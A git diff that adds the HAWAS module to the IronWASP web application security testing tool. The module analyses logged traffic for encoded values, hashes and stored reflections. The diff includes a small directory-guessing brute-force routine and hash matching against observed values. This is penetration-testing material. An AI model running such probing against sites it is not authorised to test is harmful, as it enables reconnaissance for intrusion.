0: + base_url = str(self.ui.ModControls['sr_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['sr_selected_host_tb'].SetText(base_url) + self.show_sr_values(base_url) + + def show_sr_values(self, base_url): + self.reset_sr_values_ui() + sr_list = self.stored_reflections.get_list(base_url) + for i_id in sr_list.get_ids(): + sr_item = sr_list.get(i_id) + req_log_ids = str(sr_item.request_log_ids).lstrip('[').rstrip(']') + res_log_ids = str(sr_item.response_log_ids).lstrip('[').rstrip(']') + self.ui.ModControls['sr_values_grid'].Rows.Add(Tools.ToDotNetArray([sr_item.parameter_name, sr_item.value, req_log_ids, res_log_ids])) + + def sr_values_grid_click(self): + if len(self.ui.ModControls['sr_values_grid'].SelectedRows) > 0: + parameter_name = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[0].Value) + value = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[1].Value) + req_log_ids = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[2].Value) + res_log_ids = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[3].Value) + + self.ui.ModControls['sr_parameter_name_tb'].SetText(parameter_name) + self.ui.ModControls['sr_value_tb'].SetText(value) + self.ui.ModControls['sr_request_log_ids_tb'].SetText(req_log_ids) + self.ui.ModControls['sr_response_log_ids_tb'].SetText(res_log_ids) + + def reset_sr_ui(self): + self.ui.ModControls['sr_hosts_grid'].Rows.Clear() + self.ui.ModControls['sr_selected_host_tb'].SetText("") + self.reset_sr_values_ui() + + def reset_sr_values_ui(self): + self.ui.ModControls['sr_values_grid'].Rows.Clear() + self.ui.ModControls['sr_parameter_name_tb'].SetText("") + self.ui.ModControls['sr_value_tb'].SetText("") + self.ui.ModControls['sr_request_log_ids_tb'].SetText("") + self.ui.ModControls['sr_response_log_ids_tb'].SetText("") + + def start_bruteforce(self, r): + dictionary_items = ['admin', 'backup', 'db', 'bank'] + self.ui.ModControls['out_tb'].AddText('Starting directory guessing....\r\n') + try: + for item in dictionary_items: + rr = r.GetClone() + url = '/' + item + '/' + rr.Url = url + res = rr.Send() + if res.Code == 200 or res.Code == 403: + self.ui.ModControls['out_tb'].AddText('Found URL - {0}\r\n'.format(url)) + self.ui.ModControls['out_tb'].AddText('Directory guessing complete.') + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + self.ui.ModControls['out_tb'].SetText('Directory Guessing stopped with error - {0}'.format(e.message)) + self.ui.ModControls['start_btn'].SetText("Start") + +m = HAWAS() +Module.Add(m.GetInstance()) diff --git a/modules/HAWAS/HAWASCore/HawasConfig.py b/modules/HAWAS/HAWASCore/HawasConfig.py new file mode 100644 index 0000000..588b9be --- /dev/null +++ b/modules/HAWAS/HAWASCore/HawasConfig.py @@ -0,0 +1,111 @@ +from IronWASP import * +import re + +class Settings: + + def __init__(self, hawas): + self.hawas = hawas + self.encoding_settings = SectionSetting(self.hawas) + self.hashed_settings = SectionSetting(self.hawas) + self.stored_reflection_settings = SectionSetting(self.hawas) + self.hosts_to_ignore = {} + self.hosts_to_include = {} + self.ignore_hosts = False + self.include_hosts = False + + self.encoding_settings.ignore("Request Header", "Accept") + self.encoding_settings.ignore("Request Header", "Accept-Charset") + self.encoding_settings.ignore("Request Header", "Accept-Language") + self.encoding_settings.ignore("Request Header", "Accept-Encoding") + self.encoding_settings.ignore("Request Header", "Referer") + self.encoding_settings.ignore("Request Header", "User-Agent") + self.encoding_settings.ignore("Request Header", "Proxy-Connection") + self.encoding_settings.ignore("Request Header", "Host") + self.encoding_settings.ignore("Request Header", "Content-Length") + self.encoding_settings.ignore("Request Header", "Content-Type") + + self.encoding_settings.ignore("Response Header", "If-None-Match") + self.encoding_settings.ignore("Response Header", "ETag") + self.encoding_settings.ignore("Response Header", "Date") + self.encoding_settings.ignore("Response Header", "Server") + self.encoding_settings.ignore("Response Header", "X-Powered-By") + self.encoding_settings.ignore("Response Header", "Cache-Control") + self.encoding_settings.ignore("Response Header", "Content-Type") + self.encoding_settings.ignore("Response Header", "Content-Length") + + self.hashed_settings.ignore("Request Header", "Accept") + self.hashed_settings.ignore("Request Header", "Accept-Charset") + self.hashed_settings.ignore("Request Header", "Accept-Language") + self.hashed_settings.ignore("Request Header", "Accept-Encoding") + self.hashed_settings.ignore("Request Header", "Referer") + self.hashed_settings.ignore("Request Header", "User-Agent") + self.hashed_settings.ignore("Request Header", "Proxy-Connection") + self.hashed_settings.ignore("Request Header", "Host") + self.hashed_settings.ignore("Request Header", "Content-Length") + self.hashed_settings.ignore("Request Header", "Content-Type") + + self.hashed_settings.ignore("Response Header", "If-None-Match") + self.hashed_settings.ignore("Response Header", "ETag") + self.hashed_settings.ignore("Response Header", "Date") + self.hashed_settings.ignore("Response Header", "Server") + self.hashed_settings.ignore("Response Header", "X-Powered-By") + self.hashed_settings.ignore("Response Header", "Cache-Control") + self.hashed_settings.ignore("Response Header", "Content-Type") + self.hashed_settings.ignore("Response Header", "Content-Length") + + self.stored_reflection_settings.ignore("Request Header", "Accept") + self.stored_reflection_settings.ignore("Request Header", "Accept-Charset") + self.stored_reflection_settings.ignore("Request Header", "Accept-Language") + self.stored_reflection_settings.ignore("Request Header", "Accept-Encoding") + self.stored_reflection_settings.ignore("Request Header", "Referer") + self.stored_reflection_settings.ignore("Request Header", "User-Agent") + self.stored_reflection_settings.ignore("Request Header", "Proxy-Connection") + self.stored_reflection_settings.ignore("Request Header", "Host") + self.stored_reflection_settings.ignore("Request Header", "Content-Length") + self.stored_reflection_settings.ignore("Request Header", "Content-Type") + + self.stored_reflection_settings.ignore("Response Header", "If-None-Match") + self.stored_reflection_settings.ignore("Response Header", "ETag") + self.stored_reflection_settings.ignore("Response Header", "Date") + self.stored_reflection_settings.ignore("Response Header", "Server") + self.stored_reflection_settings.ignore("Response Header", "X-Powered-By") + self.stored_reflection_settings.ignore("Response Header", "Cache-Control") + self.stored_reflection_settings.ignore("Response Header", "Content-Type") + self.stored_reflection_settings.ignore("Response Header", "Content-Length") + self.stored_reflection_settings.ignore("Response Header", "") + self.stored_reflection_settings.ignore("Form Field", "") + +class SectionSetting: + def __init__(self, hawas): + self.black_list = {} + self.white_list = {} + + def ignore(self, section, parameter_name): + if not self.black_list.has_key(section): + self.black_list[section] = [] + if self.black_list[section].count(parameter_name) == 0: + self.black_list[section].append(parameter_name) + + def is_ignored(self, param): + black_list_match = False + for section in param.sections: + if self.black_list.has_key(section): + if self.black_list[section].count(param.name) > 0 or self.black_list[section].count("") > 0: + black_list_match = True + else: + return False + else: + return False + return black_list_match + + def is_value_ignored(self, value): + if self.black_list.has_key(value.section): + if self.black_list[value.section].count(value.parameter_name) > 0 or self.black_list[value.section].count("") > 0: + return True + return False + + def is_section_name_ignored(self, section, name): + if self.black_list.has_key(section): + if self.black_list[section].count(name) > 0 or self.black_list[section].count("") > 0: + return True + return False diff --git a/modules/HAWAS/HAWASCore/LogReader.py b/modules/HAWAS/HAWASCore/LogReader.py new file mode 100644 index 0000000..8d03667 --- /dev/null +++ b/modules/HAWAS/HAWASCore/LogReader.py @@ -0,0 +1,323 @@ +from IronWASP import * +import re + +class Reader: + + def __init__(self, hawas): + self.hawas = hawas + self.md5_re = re.compile(r"([a-fA-F\d]{32})") + self.sha1_re = re.compile(r"([a-fA-F\d]{40})") + self.sha256_re = re.compile(r"([a-fA-F\d]{64})") + self.sha384_re = re.compile(r"([a-fA-F\d]{96})") + self.sha512_re = re.compile(r"([a-fA-F\d]{128})") + + def read_logs(self): + try: + for log_source in self.hawas.log_sources: + for i in range(1, self.get_last_log_id(log_source) + 1): + try: + self.hawas.show_status("Analyzing log ID {0}".format(i)) + sess = self.get_session(log_source, i) + self.analyze_session(sess, log_source) + self.read_session(sess, log_source) + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + #IronException.Report("Error in HAWAS", e.message) + Tools.Trace("read_logs_exception", e.message) + self.hawas.show_status("Error reading log ID {0}".format(i)) + #self.display_results() + self.hawas.show_status("Trying to crack any hashes found in logs...") + self.crack_hashed_values() + self.hawas.show_status("Done!") + self.hawas.end_hawas() + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + raise e + + def read_session(self, sess, source): + req = sess.Request + res = sess.Response + self.read_params(req, res, source) + + def read_params(self, req, res, source): + self.add_url_path_params(req, req.GetId(), source) + self.add_params(req.BaseUrl, req.Query, "Query", req.GetId(), source) + self.add_params(req.BaseUrl, req.Body, "Body", req.GetId(), source) + self.add_params(req.BaseUrl, req.Cookie, "Cookie", req.GetId(), source) + self.add_params(req.BaseUrl, req.Headers, "Request Header", req.GetId(), source) + if res: + self.add_params(req.BaseUrl, res.Headers, "Response Header", req.GetId(), source) + self.add_html_form_params(req.BaseUrl, res, req.GetId(), source) + self.add_set_cookie_params(req.BaseUrl, res, req.GetId(), source) + + def add_params(self, base_url, params, section, log_id, source): + try: + names = params.GetNames() + for name in names: + for val in params.GetAll(name): + self.hawas.params.add_param(base_url, name, val, section, log_id, source) + value_obj = self.hawas.params.get_value(base_url, name, val, section, log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_params", e.message) + + def add_url_path_params(self, req, log_id, source): + try: + if len(req.File) == 0 and req.Query.Count == 0: + for value in req.UrlPathParts: + self.hawas.params.add_param(req.BaseUrl, "", value, "Url Path Part", log_id, source) + value_obj = self.hawas.params.get_value(req.BaseUrl, "", value, "Url Path Part", log_id, source) + self.analyze_value(req.BaseUrl, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_url_path_params", e.message) + + def add_html_form_params(self, base_url, res, log_id, source): + if not res.IsHtml: + return + try: + input_nodes = res.Html.GetNodes("input") + if not input_nodes: + return + for node in input_nodes: + name = "" + value = "" + for attr in node.Attributes: + if attr.Name.lower() == "name": + name = attr.Value + elif attr.Name.lower() == "value": + value = attr.Value + if len(name):# > 0 and len(value) > 0: + self.hawas.params.add_param(base_url, name, value, "Form Field", log_id, source) + value_obj = self.hawas.params.get_value(base_url, name, value, "Form Field", log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_html_form_params", e.message) + + def add_set_cookie_params(self, base_url, res, log_id, source): + try: + for sc in res.SetCookies: + self.hawas.params.add_param(base_url, sc.Name, sc.Value, "Set-Cookie", log_id, source) + value_obj = self.hawas.params.get_value(base_url, sc.Name, sc.Value, "Set-Cookie", log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_set_cookie_params", e.message) + + def analyze_value(self, base_url, value): + self.check_encoding(base_url, value) + self.check_hashing(base_url, value) + #self.stored_reflections(base_url, value) + + def analyze_session(self, sess, log_source): + self.check_stored_reflection(sess) + #def display_results(self): + # self.hawas.set_host_rows() + + def get_last_log_id(self, source): + if source == "Proxy": + return Config.LastProxyLogId + elif source == "Probe": + return Config.LastProbeLogId + elif source == "Shell": + return Config.LastShellLogId + elif source == "Scan": + return 1, Config.LastScanLogId + elif source == "Test": + return Config.LastTestLogId + else: + raise Exception("Invalid Source Specified") + + def get_session(self, source, id): + if source == "Proxy": + return Session.FromProxyLog(id) + elif source == "Probe": + return Session.FromProbeLog(id) + elif source == "Shell": + return Session.FromShellLog(id) + elif source == "Scan": + return Session.FromScanLog(id) + elif source == "Test": + return Session.FromTestLog(id) + else: + raise Exception("Invalid Source Specified") + + + def check_encoding(self, base_url, value): + try: + if self.hawas.config.encoding_settings.is_section_name_ignored(value.section, value.parameter_name): + return + dec_result = self.get_decoded_value(value.value) + if len(dec_result["Base64"]) > 0 or len(dec_result["Hex"]) > 0: + self.hawas.encoded_values.add(base_url, value, dec_result) + except Exception as e: + Tools.Trace("LogReader - check_encoding", e.message) + + def get_decoded_value(self, value): + dec_val_result = {"Base64": "", "Hex": ""} + try: + b64_dec_val = Tools.Base64Decode(value) + if self.is_ascii(b64_dec_val): + dec_val_result["Base64"] = b64_dec_val + except: + pass + try: + if Tools.IsEven(len(value)): + hex_str = "" + for i in range(0, len(value), 2): + hex_str = hex_str + "%{0}{1}".format(value[i], value[i+1]) + hex_dec_val = Tools.HexDecode(hex_str) + if self.is_ascii(hex_dec_val): + dec_val_result["Hex"] = hex_dec_val + except: + pass + return dec_val_result + + def is_ascii(self, value): + for i in range(len(value)): + if ord(value[i]) < 32 or ord(value[i]) > 126: + return False + return True + + def check_hashing(self, base_url, value): + try: + hash_type = self.get_hash_type(value.value) + if len(hash_type) > 0: + self.hawas.hashed_values.add(base_url, value, "", hash_type) + except Exception as e: + Tools.Trace("LogReader - check_hashing", e.message) + + def get_hash_type(self, value): + if len(value) == 32 and self.md5_re.match(value): + return "MD5" + elif len(value) == 40 and self.sha1_re.match(value): + return "SHA1" + elif len(value) == 64 and self.sha256_re.match(value): + return "SHA256" + elif len(value) == 96 and self.sha384_re.match(value): + return "SHA384" + elif len(value) == 128 and self.sha512_re.match(value): + return "SHA512" + else: + return "" + + def crack_hashed_values(self): + checked_values = [] + self.cracked_ids = {} + try: + for base_url in self.hawas.params.get_base_urls(): + param_list = self.hawas.params.get_parameters_list(base_url) + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + if self.hawas.config.hashed_settings.is_ignored(param): + continue + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if checked_values.count(value.md5): + continue + else: + checked_values.append(value.md5) + self.crack_hashed_values_with_value(value) + except Exception as e: + Tools.Trace("LogReader - crack_hashed_values", e.message) + + def crack_hashed_values_with_value(self, value): + try: + for base_url in self.hawas.hashed_values.get_base_urls(): + hashed_values_list = self.hawas.hashed_values.get_list(base_url) + for hid in hashed_values_list.get_ids(): + #check if this hashed value was already cracked + if self.cracked_ids.has_key(base_url): + if self.cracked_ids[base_url].count(hid)> 0: + continue + hashed_value = hashed_values_list.get(hid) + self.crack_hashed_value_with_value(base_url, hid, hashed_value, value) + except Exception as e: + Tools.Trace("LogReader - crack_hashed_values_with_value", e.message) + + def crack_hashed_value_with_value(self, base_url, hid, hashed_value, value): + value_cracked = False + if hashed_value.hash_type == "MD5": + if hashed_value.value == value.md5: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA1": + if hashed_value.value == value.sha1: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA256": + if hashed_value.value == value.sha256: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA384": + if hashed_value.value == value.sha384: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA512": + if hashed_value.value == value.sha512: + hashed_value.cracked_value = value.value + value_cracked = True + #add this to the list of cracked values + if value_cracked: + if not self.cracked_ids.has_key(base_url): + self.cracked_ids[base_url] = [] + self.cracked_ids[base_url].append(hid) + + def check_stored_reflection(self, sess): + checked_values = [] + try: + for base_url in self.hawas.params.get_base_urls(): + r = Request(base_url) + if (sess.Request.Host == r.Host) or sess.Request.Host.endswith(".{0}".format(r.Host)) or r.Host.endswith(".{0}".format(sess.Request.Host)): + param_list = self.hawas.params.get_parameters_list(base_url) + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + if self.hawas.config.stored_reflection_settings.is_ignored(param): + continue + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if self.hawas.config.stored_reflection_settings.is_value_ignored(value): + continue + if len(value.value) < 6: + continue + if checked_values.count(value.md5): + continue + else: + checked_values.append(value.md5) + self.check_stored_reflection_with_value(base_url, sess, value) + except Exception as e: + Tools.Trace("LogReader - check_stored_reflection", e.message) + return + + def check_stored_reflection_with_value(self, base_url, sess, value): + if self.request_has_value(sess.Request, value.value): + return + if sess.Response.BodyString.count(value.value) == 0: + return + if self.is_value_reflected(value.value, sess.Response): + self.hawas.stored_reflections.add(base_url, value, sess) + + + def is_value_reflected(self, val, res): + safe_val = re.escape(val) + regex = ".*\W{0}\W.*".format(safe_val) + if re.search(regex, res.BodyString) == None: + return False + else: + return True + + def request_has_value(self, req, value): + for name in req.Query.GetNames(): + if req.Query.GetAll(name).Contains(value): + return True + for name in req.Body.GetNames(): + if req.Body.GetAll(name).Contains(value): + return True + for name in req.Cookie.GetNames(): + if req.Cookie.GetAll(name).Contains(value): + return True + for name in req.Headers.GetNames(): + if req.Headers.GetAll(name).Contains(value): + return True + if len(req.File) == 0 and len(req.Query.GetNames()) == 0: + if req.UrlPathParts.Contains(value): + return True + return False \ No newline at end of file diff --git a/modules/HAWAS/HAWASCore/Structures.py b/modules/HAWAS/HAWASCore/Structures.py new file mode 100644 index 0000000..68ce17f --- /dev/null +++ b/modules/HAWAS/HAWASCore/Structures.py @@ -0,0 +1,314 @@ +from IronWASP import * + +class Parameter(): + id_counter = 0 + + def __init__(self, name, section): + Parameter.id_counter += 1 + self.id = Parameter.id_counter + self.name = name + self.values = ValuesList() + self.sections = [section] + +class Value(): + id_counter = 0 + + def __init__(self, name, value, section, source, log_id): + Value.id_counter += 1 + self.id = Value.id_counter + self.value = value + self.parameter_name = name + self.section = section + self.proxy_log_ids = [] + self.probe_log_ids = [] + if source == "Proxy": + self.proxy_log_ids.append(log_id) + elif source == "Probe": + self.probe_log_ids.append(log_id) + self.md5 = Tools.MD5(value) + self.sha1 = Tools.SHA1(value) + self.sha256 = Tools.SHA256(value) + self.sha384 = Tools.SHA384(value) + self.sha512 = Tools.SHA512(value) + + def is_same(self, val): + if self.id == val.id: + return True + else: + return False + + def is_equal(self, val): + if self.parameter_name == val.parameter_name and self.value == val.value and self.section == val.section: + return True + else: + return False + +class UniversalParametersList(): + def __init__(self): + self.internal_dict = {} + + def add_param(self, base_url, name, value, section, log_id, source): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = ParametersList() + self.internal_dict[base_url].add_param(name, value, section, log_id, source) + + def get_value(self, base_url, name, value, section, log_id, source): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url].get_value(name, value, section, log_id, source) + + def get_base_urls(self): + return self.internal_dict.keys() + + def get_parameters_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + +class ParametersList(): + def __init__(self): + self.internal_dict = {} + + def add_param(self, name, value, section, log_id, source): + found_match = False + for p_id in self.internal_dict.keys(): + if self.internal_dict[p_id].name == name: + found_match = True + matched_param = self.internal_dict[p_id] + if matched_param.sections.count(section) == 0: + matched_param.sections.append(section) + matched_param.values.add_value(name, value, section, log_id, source) + break + if not found_match: + new_param = Parameter(name, section) + new_param.values.add_value(name, value, section, log_id, source) + self.internal_dict[new_param.id] = new_param + + def get_value(self, name, value, section, log_id, source): + for p_id in self.internal_dict.keys(): + if self.internal_dict[p_id].name == name: + return self.internal_dict[p_id].values.get_value(name, value, section, log_id, source) + + def get_ids(self): + return self.internal_dict.keys() + + def get_parameter(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class ValuesList(): + def __init__(self): + self.internal_dict = {} + + def add_value(self, name, value, section, log_id, source): + found_match = False + for v_id in self.internal_dict.keys(): + current_value = self.internal_dict[v_id] + if current_value.parameter_name == name and current_value.value == value and current_value.section == section: + found_match = True + if source == "Proxy": + if current_value.proxy_log_ids.count(log_id) == 0: + current_value.proxy_log_ids.append(log_id) + elif source == "Probe": + if current_value.probe_log_ids.count(log_id) == 0: + current_value.probe_log_ids.append(log_id) + break + if not found_match: + new_value = Value(name, value, section, source, log_id) + self.internal_dict[new_value.id] = new_value + + def get_value(self, name, value, section, log_id, source): + for v_id in self.internal_dict.keys(): + current_value = self.internal_dict[v_id] + if current_value.parameter_name == name and current_value.value == value and current_value.section == section: + if source == "Proxy": + if current_value.proxy_log_ids.count(log_id) > 0: + return current_value + elif source == "Probe": + if current_value.probe_log_ids.count(log_id) > 0: + return current_value + + def get_ids(self): + return self.internal_dict.keys() + + def get_value_with_id(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class EncodedValue(): + id_counter = 0 + + def __init__(self, value, decoded_result, log_ids, parameter_name): + EncodedValue.id_counter += 1 + self.id = EncodedValue.id_counter + self.value = value + self.base64_decoded_value = decoded_result["Base64"] + self.hex_decoded_value = decoded_result["Hex"] + self.log_ids = [log_ids] + self.parameter_names = [parameter_name] + + def add_log_ids(self, log_ids): + self.log_ids.extend(log_ids) + + def add_parameter_name(self, parameter_name): + if self.parameter_names.count(parameter_name) == 0: + self.parameter_names.append(parameter_name) + +class EncodedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, decoded_result): + found_match = False + for v_id in self.internal_dict.keys(): + current_encoded_value = self.internal_dict[v_id] + if current_encoded_value.value == value.value: + current_encoded_value.add_log_ids(value.proxy_log_ids) + current_encoded_value.add_parameter_name(value.parameter_name) + found_match = True + break + if not found_match: + new_encoded_value = EncodedValue(value.value, decoded_result, value.proxy_log_ids, value.parameter_name) + self.internal_dict[new_encoded_value.id] = new_encoded_value + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalEncodedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, decoded_result): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = EncodedValuesList() + self.internal_dict[base_url].add(value, decoded_result) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + +class HashedValue(): + id_counter = 0 + + def __init__(self, value, cracked_value, hash_type, log_ids, parameter_name): + HashedValue.id_counter += 1 + self.id = HashedValue.id_counter + self.value = value#hashed value + self.cracked_value = cracked_value + self.hash_type = hash_type#md5, sha etc + self.log_ids = [log_ids] + self.parameter_names = [parameter_name] + + def add_log_ids(self, log_ids): + self.log_ids.extend(log_ids) + + def add_parameter_name(self, parameter_name): + if self.parameter_names.count(parameter_name) == 0: + self.parameter_names.append(parameter_name) + + +class HashedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, cracked_value, hash_type): + found_match = False + for v_id in self.internal_dict.keys(): + current_hashed_value = self.internal_dict[v_id] + if current_hashed_value.value == value.value: + current_hashed_value.add_log_ids(value.proxy_log_ids) + current_hashed_value.add_parameter_name(value.parameter_name) + found_match = True + break + if not found_match: + new_hashed_value = HashedValue(value.value, cracked_value, hash_type, value.proxy_log_ids, value.parameter_name) + self.internal_dict[new_hashed_value.id] = new_hashed_value + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalHashedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, cracked_value, hash_type): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = HashedValuesList() + self.internal_dict[base_url].add(value, cracked_value, hash_type) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + +class StoredReflectionsItem(): + id_counter = 0 + + def __init__(self, value, sess): + StoredReflectionsItem.id_counter += 1 + self.id = StoredReflectionsItem.id_counter + self.parameter_name = value.parameter_name + self.value = value.value + self.request_log_ids = [] + self.request_log_ids.extend(value.proxy_log_ids) + self.response_log_ids = [sess.GetId()] + + def add_log_ids(self, req_log_ids, res_log_id): + for req_log_id in req_log_ids: + if self.request_log_ids.count(req_log_id) == 0: + self.request_log_ids.append(req_log_id) + if self.response_log_ids.count(res_log_id) == 0: + self.response_log_ids.append(res_log_id) + +class StoredReflectionsList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, sess): + found_match = False + for i_id in self.internal_dict.keys(): + current_sr_item = self.internal_dict[i_id] + if current_sr_item.parameter_name == value.parameter_name and current_sr_item.value == value.value: + current_sr_item.add_log_ids(value.proxy_log_ids, sess.GetId()) + found_match = True + break + if not found_match: + new_sr_item = StoredReflectionsItem(value, sess) + self.internal_dict[new_sr_item.id] = new_sr_item + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalStoredReflectionsList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, sess): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = StoredReflectionsList() + self.internal_dict[base_url].add(value, sess) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + + + diff --git a/modules/HAWAS/HAWASCore/__init__.py b/modules/HAWAS/HAWASCore/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/modules/HAWAS/hawas_ui_xml.txt b/modules/HAWAS/hawas_ui_xml.txt new file mode 100644 index 0000000..a896290 --- /dev/null +++ b/modules/HAWAS/hawas_ui_xml.txt @@ -0,0 +1,2518 @@ + + + + 900 + 600 + + SEFXQVMgLSBIeWJyaWQgQW5hbHl6ZXIgZm9yIFdlYiBBcHBsaWNhdGlvbiBTZWN1cml0eQ== + AAABAAIAEBAAAAAAIABoBAAAJgAAACAgAAAAACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////n5+f/IyMj/gYGB/2hoaP9oaGj/fX19/8DAwP/29vb//////////////////////////////////////9DQ0P9HR0f/VFRU/5ycnP/ExMT/xMTE/6Wlpf9aWlr/Pz8//8DAwP///////////////////////////7Gxsf8QEBD/n5+f//z8/P///////////////////////f39/8bGxv8JCQn/np6e/////////////////9DQ0P8xMTH/ERER/5aWlv/////////////////////////////////MzMz/BQUF/zIyMv+9vb3///////n5+f9HR0f/ubm5/ysrK/96enr/////////////////////////////////l5eX/yQkJP/IyMj/Pz8///Ly8v/Jycn/VVVV//r6+v9CQkL/VlZW/////////////////////////////////25ubv9ERET//Pz8/2VlZf+wsLD/hISE/5ycnP//////VlZW/zU1Nf/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P88PDz/ampq//////+4uLj/bW1t/2hoaP/ExMT//////35+fv8GBgb/Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//BgYG/5ubm///////zs7O/19fX/9oaGj/xMTE//////+fn5//AQEB/xUVFf8XFxf/FxcX/xcXF/8XFxf/ExMT/wQEBP+8vLz//////8/Pz/9hYWH/f39//6SkpP//////tbW1/wgICP/Dw8P/+vr6//r6+v/6+vr/+vr6/6urq/8SEhL/4eHh//////++vr7/aGho/8LCwv9XV1f//f39/9XV1f8NDQ3/qqqq//////////////////////+EhIT/Gxsb//z8/P/+/v7/cHBw/6mpqf/29vb/Pj4+/9LS0v/t7e3/FBQU/5CQkP/////////////////+/v7/UVFR/01NTf//////5OTk/zo6Ov/v7+///////8PDw/89PT3/6enp/xwcHP9mZmb/////////////////9fX1/zExMf93d3f/8vLy/0xMTP+qqqr/////////////////n5+f/0FBQf8pKSn/RkZG//39/f///////////+Li4v8RERH/iYmJ/0xMTP+Wlpb//v7+///////////////////////AwMD/MjIy/yQkJP+3t7f/zMzM/8zMzP+hoaH/AAAA/y0tLf+qqqr//v7+//////////////////////////////////Ly8v+ysrL/bW1t/19fX/9eXl7/a2tr/6mpqf/v7+///////////////////////wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA///////////////////////////////////////////////////////////09PT/4uLi/9XV1f/R0dH/0dHR/9HR0f/R0dH/0tLS/+Hh4f/x8fH//f39///////////////////////////////////////////////////////////////////////////////////////////////////////n5+f/rq6u/35+fv8+Pj7/Dw8P/wAAAP8AAAD/AAAA/wAAAP8FBQX/Ojo6/3Nzc/+goKD/3Nzc///////////////////////////////////////////////////////////////////////////////////////6+vr/oqKi/1dXV/8ODg7/ERER/z4+Pv9ra2v/iYmJ/4mJif+JiYn/iYmJ/3R0dP9OTk7/Gxsb/wQEBP9JSUn/kJCQ/+jo6P//////////////////////////////////////////////////////////////////////29vb/2xsbP8XFxf/DAwM/3Fxcf/AwMD/19fX/+/v7///////////////////////9PT0/+Dg4P/FxcX/g4OD/xYWFv8ODg7/UlJS/8nJyf///////////////////////////////////////////////////////v7+/8zMzP88PDz/BQUF/zIyMv/i4uL/9fX1///////////////////////////////////////////////////////39/f/5eXl/2dnZ/8EBAT/Gxsb/7q6uv/9/f3////////////////////////////////////////////MzMz/Ly8v/wAAAP8AAAD/bW1t//v7+//////////////////////////////////////////////////////////////////+/v7/y8vL/wcHB/8AAAD/CAgI/7i4uP//////////////////////////////////////29vb/z09Pf8LCwv/EBAQ/wAAAP9ISEj/+vr6//////////////////////////////////////////////////////////////////7+/v+2trb/AAAA/wAAAP8QEBD/HBwc/8jIyP////////////////////////////r6+v9sbGz/Dg4O/21tbf80NDT/AAAA/x8fH//39/f//////////////////////////////////////////////////////////////////Pz8/4GBgf8AAAD/FhYW/4uLi/8QEBD/TU1N/+Dg4P//////////////////////oqKi/xcXF/9DQ0P/19fX/1FRUf8AAAD/CQkJ//f39//////////////////////////////////////////////////////////////////6+vr/TU1N/wAAAP82Njb/1tbW/3t7e/8JCQn/h4eH/////////////////+fn5/9YWFj/DAwM/+Li4v/n5+f/XFxc/wAAAP8AAAD/5+fn//////////////////////////////////////////////////////////////////j4+P8cHBz/AAAA/1paWv/m5ub/6urq/zY2Nv80NDT/zMzM////////////srKy/xMTE/9xcXH/9fX1//j4+P+AgID/AAAA/wAAAP/IyMj/////////////////////////////////////////////////////////////////8vLy/wEBAf8AAAD/g4OD//n5+f/6+vr/m5ub/wMDA/+SkpL/+vr6//T09P9+fn7/ERER/8DAwP///////Pz8/4mJif8AAAD/AAAA/5GRkf/////////////////////////////////////////////////////////////////Hx8f/AAAA/wAAAP+NjY3//v7+///////MzMz/KCgo/09PT//n5+f/4uLi/